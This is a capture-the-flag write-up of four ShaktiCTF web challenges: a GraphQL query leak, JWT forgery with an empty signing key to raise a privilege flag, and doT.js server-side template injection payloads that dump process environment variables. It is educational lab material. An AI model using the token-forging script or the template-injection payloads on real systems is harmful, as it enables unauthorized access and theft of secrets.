shaktiCTF web challenges
As part of the ShaktiCTF running on the 25TH/26TH July weekend that my team Fr334aks-Mini took part in, I tackled a couple of fun web challenges documented below.
Friends
This was a graphql challenge testing on your ability to gather information from a graphql api that leaks sensitive information. From this, I knew there was an endpoint /graphql hence visiting it and querying the user 1, I receive it’s information which is only a name:
{
user(id: "1") {
name
}
}
Response:
{
"data": {
"user": {
"name": "Monica"
}
}
}
Since I want the flag, I fuzzed a couple of keywords that may represent the flag like flag, theFlag. I got errors
But from the description, I realized we are told “can I interest you with a secretFlag?”. So I used secretFlag and this returned null, meaning it existed on one of the users
Querying from user 4 gave me the flag
{
user(id: "4") {
name
friends {
name
secretFlag
}
}
}
Response:
{
"data": {
"user": {
"name": "Phoebe",
"friends": [
{
"name": "Chandler",
"secretFlag": "shaktictf{monica_doesnt_know_this_one}"
}
]
}
}
}
Hooman
This was basically a JSON Web Token(jwt) exploitation challenge, where you needed to access /hooman to get the flag. But sending a normal request, we get denied and told to try harder to be hooman. I sent logged in with the username “admin”, and intercepted the request:
As you can see, I am assigned a token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXJlX3lvdV9ob29tYW4iOmZhbHNlfQ.zCpXRmzsOYL1XhpQ00wtoqqUXyD3EYhI6vaj5hwjcTk
that I suspect is associated with my username and my privileges. Decoding it using jwt.io:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"are_you_hooman": false
}
I used a python script to change my state to hooman and encode the jwt token, and since the application wasn’t even verifying with a key, I left it blank:
import jwt
fake_token = jwt.encode(
{"username": "admin", "are_you_hooman": True},
key="", # No key needed
algorithm="HS256"
)
print(fake_token)
This gives me a hooman token:
peter@Peter:~/shaktiCTF$ python3 jtsignn.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiYXJlX3lvdV9ob29tYW4iOnRydWV9.R0MqkPttmcP2rHf058-XYOzwz04eXG5qKMLiclDJHAE
I replaced this token in burp and accessed the /hooman endpoint getting the flag: shaktictf{now_uk_jwts_hoomannnnn}
Templateception
For this, we were given a Node-JS application for rendering templates. Since we are provided with the source code, going through the logic of the rendering I found a vulnerability, SSTI: Vulnerable code:
app.get('/render/:file', async (req, res) => {
const file = req.params.file;
const filePath = path.join(TEMPLATES_DIR, file);
if (!fs.existsSync(filePath)) {
return res.status(404).render('rendered', { output: 'Template not found', flag: '' });
}
try {
const raw = await fs.readFile(filePath, 'utf-8');
const compiled = doT.template(raw);
// Build context
const flag = process.env.FLAG || 'flag{missing}';
const context = { name: 'CTF Player' };
const output = compiled(context);
res.render('rendered', { output, flag });
} catch (err) {
res.status(500).render('rendered', { output: 'Render error: ' + err.message, flag: '' });
}
});
The application shows SSTI from the doT.js templating engine. The flag is stored in process.env.FLAG and rendered in a JavaScript variable in rendered.ejs, but we need to exfiltrate it.
We send {{= console.log("TEST") || "Hello" }}
as the template to confirm SSTI. It logs Test
Since from the source code we can see the flag is stored in process.env.Flag
, I accessed it by dumping all the environmental variables.I sent {{= JSON.stringify(process.env) }}
as the template
This outputs all the environmental variables including the flag
{"NODE_VERSION":"18.20.8","HOSTNAME":"c6f193a70ab6","YARN_VERSION":"1.22.22","HOME":"/root","DOMAIN":"ug04wxd2.eng.run","PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD":"/app","FLAG":"shaktictf{1nject_th3_br41n_into_th3_d0t_3ng1n3_4nd_3sc4l4t3_y0ur_pr0t0typ3s}"}
Templateception-revenge
This was just a follow up challenge of the above, with a little tweaking. Inspecting the source code, we find the same SSTI vulnerability in the rendering functionality
try {
const raw = await fs.readFile(filePath, 'utf-8');
const compiled = doT.template(raw);
// Build context
const flag = process.env.FLAG || 'flag{missing}';
const context = { name: 'CTF Player' };
const output = compiled(context);
res.render('rendered', { output, flag });
} catch (err) {
res.status(500).render('rendered', { output: 'Render error: ' + err.message, flag: '' });
}
Now rendering the file, the flag is no longer rendered in the file rendered.ejs but only available in process.env.FLAG. We neeed to use doT.template() SSTI to access process.env and render the flag directly in the output.
Test with simple payload, {{= "TEST" }}
-> still works
I then accessed the flag directly via {{= process.env.FLAG }}
we get flag: shaktictf{Th15_1s_r3v3ng3}
🥂